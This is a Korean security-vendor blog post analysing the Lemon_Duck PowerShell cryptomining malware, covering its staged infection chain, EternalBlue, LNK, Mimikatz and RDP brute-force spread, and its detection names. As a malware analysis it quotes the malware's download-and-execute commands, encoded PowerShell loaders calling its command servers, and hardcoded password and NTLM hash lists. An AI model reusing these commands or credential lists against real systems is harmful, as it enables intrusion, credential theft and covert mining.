ASEC 분석팀은 레몬덕(Lemon_Duck)이라 불리는 파워쉘 악성코드가 국내에서 유포된 것을 확인하였다. 이 악성코드는 복잡한 과정을 거쳐 다양한 중간 악성 파워쉘을 통해 감염되며 SMB(Server Message Block) 취약점(MS17-010), RDP 무차별 대입 공격 등 다양한 공격 기법을 이용해 동일한 네트워크 상에 연결된 시스템에 확산된다.
[그림 1]과 레몬덕 악성코드의 동작 과정을 구조화한 것이고, [표 1]은 공격 단계별 악성코드의 정보를 요약한 것이다. 구체적으로 살펴보면, 조직 내부 유입 후 SMB 취약점에 의해 서비스가 실행되어 작업 스케줄러에 파워쉘 명령을 등록한다. 이렇게 등록된 파워쉘 명령이 파워쉘 스크립트(Powershell_1)를 다운로드 및 실행한다. 이 파워쉘 스크립트는 URL만 다른 3개의 작업 스케줄러를 등록하는데, 이것이 추가 파워쉘 스크립트(Powershell_2)를 다운로드 및 실행하는 기능을 갖고 있다. 추가로 다운로드된 파워쉘 스크립트(Powershell_2)는 3단계 파워쉘 스크립트(Powershell_3)를 다시 다운로드하고 실행하는데, 이 파워쉘 스크립트가 암호화폐를 채굴하고 내부 감염을 확산시키는 기능을 한다.
[표1] 다운로드 URL 목록
[그림 1]에서 확인한 악성코드별로 구체적인 동작 방식과 기능을 살펴본다.
동작방식 및 주요기능
(1) 작업 스케줄러 등록([그림 1]의 ①)
SMB 취약점을 이용한 내부 전파 이후 다음과 같이 랜덤한 이름의 서비스가 등록된다.
%COMSPEC% /C "netsh.exe firewall add portopening tcp 65529 SDNS&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 10 /tn Rtsa /tr "powershell -nop -ep bypass -c 'IEX(New-Object System.Net.WebClient).DownloadString(\\\"http://t.zer2.com/ipc.jsp?h\\\")'" /F & echo %%path%%|findstr /i powershell>nul || (setx path "%path%;c:\windows\system32\WindowsPowershell\v1.0" /m) &schtasks /run /tn Rtsa & ver|findstr "5\.[0-9]\.[0-9][0-9]*" && (schtasks /create /ru system /sc MINUTE /mo 60 /tn Rtas /tr "mshta http://t.zer2.com/p.html?_%%COMPUTERNAME%%")"
[표 2] 파워쉘 명령 수행하는 서비스
이렇게 등록된 서비스는 특정 포트를 오픈하기 위한 방화벽 규칙을 등록하고 악성 URL에서 파워쉘([표1]의 ipc.js)을 다운로드하는 작업을 등록한다. 이 등록(생성)된 작업과 관련된 파일을 안랩 제품은 현재 다음과 같은 진단명으로 탐지하고 있다.
<V3 진단명>
- 작업 스케줄 : JOB/Miner.S1, JOB/Miner.S2
(2) 파워쉘 스크립트 1([그림 1]의 ②,③)
첫 번째 파워쉘 스크립트는 [그림 2]와 같이 3개의 작업 스케줄러를 등록한다. 이렇게 등록된 3개의 작업은 다음과 같은 특정한 URL에 각각 접속한다. 안랩 분석 당시, 해당 URL은 접속이 불가능했지만 또 다른 파워쉘 스크립트(PowerShell_2)를 다운로드 및 실행하는 기능을 수행하는 것으로 보인다.
- http://t.zer2[.]com/v.js
- http://t.awcna[.]com/v.js
- http://t.amxny[.]com/v.js
‘파워쉘 스크립트 1’과 이렇게 등록된 작업에 대해 안랩 제품은 다음과 같은 진단명으로 탐지하고 있다.
<V3 진단명>
- 파워쉘 스크립트 1 : PS/Miner
- 작업 스케줄 : JOB/Miner.S3
(3) 파워쉘 스크립트 2([그림 1]의 ④)
두 번째 파워쉘 스크립트는 [그림 3]과 같이 C&C 서버로 감염 PC의 정보를 전송하고, 다시 세 번째 파워쉘 스크립트(PowerShell_3)를 다운로드 및 실행한다.
<V3 진단명>
- 파워쉘 스크립트 2 : PS/Obfuscated
(4) 파워쉘 스크립트 3([그림 1]의 ⑤)
세 번째 파워쉘 스크립트(v.jsp)는 [그림 4]와 같이 감염 시스템의 정보를 확인한 후 그에 따라 특정한 파일을 다운로드 및 실행한다.
<V3 진단명>
- 파워쉘 스크립트 3 : PS/Miner
(5) 암호화폐 채굴(Mining) 및 내부 확산([그림 1]의 ⑥)
[표 3]과 같은 파워쉘 명령을 실행하여 최종적으로 암호화폐를 채굴한다. 채굴 악성코드(Miner)는 파워쉘 프로세스 내부에서 동작한다. 이때 감염 시스템에 따라 특정 URL에서 파워쉘 스크립트가 포함된 파일을 다운로드하여 실행한다.
powershell -nop -w hidden -ep bypass -c "try{$localMn=$flase;New-Object System.Threading.Mutex($true,'Global\LocalMn',[ref]$localMn)}catch{};$mp=$env:tmp+'\m6.bin';if(test-path $mp){$con=[System.IO.File]::ReadAllBytes($mp);[System.Security.Cryptography.MD5]:
:Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'a48ea878f703c32ddac33abc6fad70d3'){$con=''}}if(!$con){$con=(New-Object Net.WebClient)
.downloaddata('http://down.ackng.com/m6.bin?ID=LFCEXS12-NEW&GUID=37383638-3630-4753-4839-303359324D4E&MAC=54:80:28:58:8C:D0&OS=6.3.9600&BIT=64비트&USER=
LFCEXS12-NEW$&DOMAIN=LFCorp.com&D=&CD=Matrox G200eh3 (HP) WDDM 1.2&MEM=
96&P=1&FI=0&FM=0&IF=1&MF=0&HR=&UP=1457918.691&_T=1574443747.05527');[System.IO.File]::WriteAllBytes($mp,$con)};for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};
iex(-join[char[]]$con[0..$i]);Invoke-ReflectivePEInjection -ForceASLR -PEBytes $con[($i+1)..
($con.count)]"
[표 3] 채굴(Mining) 파워쉘
■ x86 시스템
- 다운로드 URL: http://down.ackng[.]com/m3.bin
- m3.bin 파일: 파워쉘 스크립트 + x86 채굴(Miner) PE
■ x64 시스템
- 다운로드 URL: http://down.ackng[.]com/m6.bin
- m6.bin 파일 : 파워쉘 스크립트 + x64 채굴(Miner) PE
<V3 진단명>
- m3.bin : PS/Miner
- m6.bin : PS/Obfuscated
- x86 채굴(Miner) PE : Malware/Win32.Generic.C3516872
- x64 채굴(Miner) PE : Malware/Win64.Generic.C3519320
전파방식 분석
특정 URL(http://down.ackng[.]com/if.bin)에서 다운로드 및 실행된 파워쉘 스크립트는 네트워크 전파 기능을 갖고 있다. 네트워크를 통한 내부 확산에 사용된 공격 방식을 자세히 살펴본다.
(1) 바로가기(LNK) 취약점(CVE-2017-8464) 이용한 USB/네트워크 전파
파워쉘 스크립트는 이동식 저장장치와 네트워크 드라이브 루트 디렉터리에 UTFsync\Inf_data 폴더를 생성한다. 이렇게 생성한 경로에 blue3.bin, blue6.bin 등의 DLL 파일과 DLL 파일을 실행하기 위한 바로가기(LNK) 파일을 생성한다.
드롭된 DLL 파일은 mshta를 이용하여 특정 URL(http://t.zer2.com/usb.jsp)로부터 [표 4]와 같은 파워쉘 코드를 다운받아 실행한다.
mshta vbscript:createobject("wscript.shell").run("powershell -nop -e JABsAGYAPQAkAGUAbgB2ADoAdABtAHAAKwAnAFwAawBkAGwAcwA5ADIAagBzAGoAcQBzADAALgB1AHMAYgAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABsAGYAKQApAHsASQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAHUAcwBiAC4AagBzAHAAJwApADsAbgBlAHcALQBpAHQAZQBtACAAJABsAGYAIAAtAHQAeQBwAGUAIABmAGkAbABlAH0A",0)(window.close)
[표 4] usb.jsp 파워쉘
한편, 이와 관련된 DLL 파일은 이미 V3 제품에서 진단 및 탐지되고 있는 파일들이다.
<V3 진단명>
- x64 시스템용 DLL 파일(blue6.bin): Trojan/Win64.Injector.C3348350
- x86 시스템용 DLL 파일(blue3.bin): Trojan/Win32.Agent.C3350818
(2) 시작 프로그램 및 AppData 경로에 파일 생성
파워쉘 스크립트는 재부팅 시 악성 자바 스크립트를 실행하기 위해 시작 프로그램(Startup)에 LNK 파일을 등록한다.
- \AppData\Roaming\flashplayer.tmp (악성 자바 스크립트)
- \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk (스크립트 바로가기)
재부팅 후 실행된 스크립트는 파워쉘과 mshta를 통해 위에서 살펴본 첫 번째 파워쉘(PowerShell_1)을 다운로드하여 실행한다.
try { (new ActiveXObject("WScript.Shell")).Run("ver|findstr "5\. [0 - 9]\. [0 - 9][0 - 9] * " && (mshta http://t.zer2.com/p.html?_%COMPUTERNAME% && ping localhost && taskkill /f /im mshta.exe) & echo %path%|findstr /i powershell>nul || (setx path " % path % ; c: \windows\ system32\ WindowsPowershell\ v1 .0 " /m) & powershell -w hidden -ep bypass -c while($True){try{IEX (New-Object Net.WebClient).downloadstring('http://t.zer2.com/ipc.jsp?l')}catch{Sleep -m 2500000}}", 0, false);
} catch (e) {}
[표 5] 파워쉘(PowerShell_1)
(3) 이터널블루 SMB 취약점 및 서비스 등록
핑캐슬 스캐너를 이용하여 445 TCP 포트를 스캔하여 취약한 시스템에 대해 이터널블루 SMB 취약점 공격을 수행한다.
공격이 성공한 시스템에는 앞서 살펴본 악성코드 동작 방식 중 첫 번째 단계인 서비스 등록이 진행된다. 따라서 피해 시스템에서 또 다시 공격 과정이 시작되면서 추가 감염 및 내부 전파가 지속적으로 이루어진다.
A123456, qwe1234, admin888, 11223344, sq12008, sqlpassword, ABCabc123, Aa12345678, sapassword, abcdefg, abc, sa2008, sql2005, sa123, sa123, asas, as, t5r4e3w2q1, homelesspa, aa123456, charlie, !@#Ga5Rg%^&*, princess, sunshie, dragon, 123456789a, a123456789, qwe123, 1q2w3e4r, 5201314, 123456a, a123456, 112233, 11111111, 88888888, 1234567890, 123123123, we1234aq, qwe1234A, administrator, love, aaaaaa, pass, zxcvbn, 123qwe, fuckyou, 1qaz2wsx, superman, qwertyuiop, baseball, qwerty, password1, qazwsx, hello, master, passw0rd, login, monkey, iloveyou, P@word, P@w0rd, P@SSW0RD, P@SSWORD, p@ssw0rd, P@ssw0rd, P@ssword, p@ssword, abc@123, abcd@1234, abcd1234, abc123, admin, 987654321, 123456789, 87654321, 7654321, 555555, 1111, 888888, 222222, 000000, 121212, 666666, 654321, 111111, 123123, 12345, 1234, 321, 21, 1, welcome, football, 123qwe!@#, Passw0rd, 999999, Admin@123, Abc123, Administrator, Admin123, 1qaz!QAZ, Ab123, 1qaz@WSX, 123!@#qwe, golden, 123@abc, Huawei!123, qwer12345, Aa123456, admin@123, 123.com, PASSWORD, passsword, 123456, saadmin
[표 6] 하드코딩된 비밀번호 목록
(4) 미미카츠(Mimikatz) 모듈, 해시 통과 및 무차별 대입 공격
파워쉘 스크립트가 특정 URL(hxxp://down.ackng.com/wf.cab)에서 미미카츠(Mimikatz) 모듈을 다운로드하고, 이를 이용해 사용자의 정보를 수집한다. 이렇게 수집한 정보를 토대로 해시 콩과 공격과 무차별 대입 공격을 수행한다. 미미카츠를 통해 수집한 정보 외에도 하드코딩된 비밀번호와 NTLM 해시 목록을 함께 사용한다.
31d6cfe0d16ae931b73c59d7e0c089c0, 32ed87bdb5fdc5e9cba88547376818d4, 8846f7eaee8fb117ad06bdd830b7586c, 7b592e4f8178b4c75788531b2e747687, afffeba176210fad4628f0524bfe1942, 579da618cfbfa85247acf1f800a280a4, 47bf8039a8506cd67c524a03ff84ba4e, 5ae7b89b3afea28d448ed31b5c704289, 3f9f5f112da330ac4c20be279c6addfa, 73f5d97549f033374fa6d9f9ce247ffd, 6f12c0ab327e099821bd938f39faab0d, 161cff084477fe596a5db81874498a24, e5ae562ddfaa6b446c32764ab1ebf3ed, d30c2ef8389ac9e8516baacb29463b7b, bc007082d32777855e253fd4defe70ee, e45a314c664d40a227f9540121d1a29d, d144986c6122b1b1654ba39932465528, 570a9a65db8fba761c1008a51d4c95ab, e1a692bd23bde99b327756e59308b4f8, a87f3a337d73085c45f9416be5787d86, 00affd88fa323b00d4560bf9fef0ec2f, 31fc0dc8f7dfad0e8bd7ccc3842f2ce9, 674e48b68c5cd0efd8f7e5faa87b3d1e, 69943c5e63b4d2c104dbbcc15138b72b, 588feb889288fb953b5f094d47d1565c, bcdf115fd9ba99336c31e176ee34b304, 3dbde697d71690a769204beb12283678, df54de3f3438343202c1dd523d0265be, 7ce21f17c0aee7fb9ceba532d0546ad6, 7a21990fcd3d759941e45c490f143d5f, 579110c49145015c47ecd267657d3174, af27efb60c7b238910efe2a7e0676a39, 2d7f1a5a61d3a96fb5159b5eef17adc6, 4057b60b514c5402dde3d29a1845c366, e8cd0e4a9e89eab931dc5338fcbec54a, 6920c58d0df184d829189c44fab7ae, ba07ba35933e5bf42dea4af8add09d1e, f1351ac828428d74f6da2968089fc91f, e84d037613721532e6b6d84d215854b6, 2f2d544c53b3031f24d63402ea7fb4f9, 328727b81ca05805a68ef26acb252039, 259745cb123a52aa2e693aaacca2db52, c22b315c040ae6e0efee3518d830362b, 162e829be112225fedf856e38e1c65fe, 209c6174da490caeb422f3fa5a7ae634, f9e37e83b83c47a93c2f09f66408631b, b3ec3e03e2a202cbd54fd104b8504fef, 4ed91524cb54eaacc17a185646fb7491, aa647b916a1fad374df9c30711d58a7a, a80c9cc3f8439ada25af064a874efe2d, 13b29964cc2480b4ef454c59562e675c, de26cce0356891a4a020e7c4957afc72, e19ccf75ee54e06b06a5907af13cef42, 30fcaa8ad9a496b3e17f7fbfacc72993, 41630abb825ca50da31ce1fac1e9f54d, 2e4dbf83aa056289935daea328977b20, b963c57010f218edc2cc3c229b5e4d0f, f2477a144dff4f216ab81f2ac3e3207d, e6bd4cdb1e447131b60418f31d0b81d6, b9f917853e3dbf6e6831ecce60725930, 6d3986e540a63647454a50e26477ef94, 066ddfd4ef0e9cd7c256fe77191ef43c, 152efbcfafeb22eabda8fc5e68697a41, 5835048ce94ad0564e29a924a03510ef, 2d20d252a479f485cdf5e171d93985bf, 320a78179516c385e35a93ffa0b1c4ac, 0d757ad173d2fc249ce19364fd64c8ec, 72f5cfa80f07819ccbcfb72feb9eb9b7, f67f5e3f66efd7298be6acd32eeeb27c, 1c4ecc8938fb93812779077127e97662, ad70819c5bc807280974d80f45982011, a836ef24f0a529688be2af1479a95411, 36aa83bdcab3c9fdaf321ca42a31c3fc, acb98fd0478427cd18949050c5e87b47, a4141712f19e9dd5adf16919bb38a95c, e7380ae8ef85ae55bdceaa59e418bd06, 81e5f1adc94dd08b1a072f9c1ae3dd3f, 71c5391067de41fad6f3063162e5eeff
[표 7] 하드코딩된 NTLM 해시 목록
또한 원격 접속에 성공하면 [표 8]과 같은 명령어를 이용해 특정 URL(http://t.zer2.com/ms.jsp, http://t.zer2.com/v.jsp)에서 파워쉘 코드를 다운로드하여 실행한다.
$mssql_cmd='netsh.exe firewall add portopening tcp 65529 SDNS&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /tn Rtsa /tr "powershell -nop -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAG0AcwAuAGoAcwBwACcAKQA=" /F & echo %path%|findstr /i powershell>nul || (setx '+'path "%path%;c:\windows\system32\WindowsPowershell\v1.0" /m) &schtasks /run /tn Rtsa & whoami|findstr /i "network service"&&(powershell -nop -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAHYALgBqAHMAcAA/AG0AcwBsAG8AdwAnACkA)'
[표 8] 접속된 서버에 보내는 명령
(5) RDP 무차별 대입
미미카츠 모듈을 다운로드했던 URL에서 freerdp 모듈도 다운로드하고, 이를 이용해 RDP 무차별 대입 공격을 수행한다. RDP 기본 포트인 3389을 이용하여 열린 서버를 탐색 후 “관리자(Administrator)” 계정명으로 로그인을 시도한다. 이때 [표 7]의 하드코딩된 비밀번호를 사용한다.
로그인에 성공하면 해당 시스템에 [표 9]와 같은 추가 명령을 전송해 특정 URL(http://t.zer2.com/rdp.jsp, http://t.zer2.com/rdpo.jsp)에서 파워쉘 코드를 다운로드하여 실행한다. 이때 다운로드되는 파워쉘 코드 rdp.jsp와 rdpo.jsp는 앞서 살펴본 v.jsp와 같은 종류의 파워쉘로 보인다.
$rdp_cmd='cmd.exe /c powershell -nop -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAHIAZABwAC4AagBzAHAAJwApAA=='
$rdpo_cmd='cmd.exe /c powershell -nop -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAHIAZABwAG8ALgBqAHMAcAAnACkA'
[표 9] RDP 공격 성공 후 전송하는 명령
(6) 사용자 정보 유출
위와 같은 공격 외에도 감염 시스템 정보를 지속적으로 유출한다. [그림 10]의 코드에서 볼 수 있는 것처럼 컴퓨터 이름, machine UUID, 맥 주소, IP 주소, 그리고 미미카츠 모듈을 통해 확보한 데이터 등 다양한 정보를 외부로 전송한다.
이렇게 SMB 취약점을 이용한 악성코드를 예방하기 위해서는 무엇보다 모든 시스템에 빠짐없이 관련 보안 패치를 적용해야 한다. 이와 관련해 안랩은 엔드포인트 보안 플랫폼 ‘안랩 EPP(AhnLab EPP)’ 기반의 패치 관리 솔루션 ‘안랩 EPP 패치 매니지먼트(AhnLab EPP Patch Management, 이하 APM)’를 통해 손쉽게 SMB 취약점 보안 패치를 적용할 수 있도록 지원하고 있다.
또한, 레몬덕 악성코드처럼 최근 파워쉘을 이용한 파일리스(Fileless) 방식의 악성코드가 지속적으로 증가하고 있다. 파일리스 방식의 악성코드는 시그니처가 아닌 행위를 기반으로 탐지하고 대응해야 한다. 따라서 현재 V3 제품을 이용하는 기업에서는 V3의 ‘행위 탐지’ 기능을 활성화(On)하는 것이 중요하다.
'악성코드 정보' 카테고리의 다른 글
동일 외형의 서로 다른 악성코드 배포 중: 서비스형 악성코드 확산? (0) | 2019.12.11 |
---|---|
V3 Lite 4.0 새로운 탐지기능 소개: 매그니베르(Magniber) 랜섬웨어 차단 (2) | 2019.12.10 |
NEMTY 랜섬웨어 v2.2 국내발견!! (0) | 2019.12.02 |
[주의] 한글문서 악성코드 동작방식 변화 (시작프로그램 등록) (0) | 2019.11.22 |
GandCrab, Nemty에 이어 동일 외형의 DEATHRansom 국내 발견 (9) | 2019.11.21 |
댓글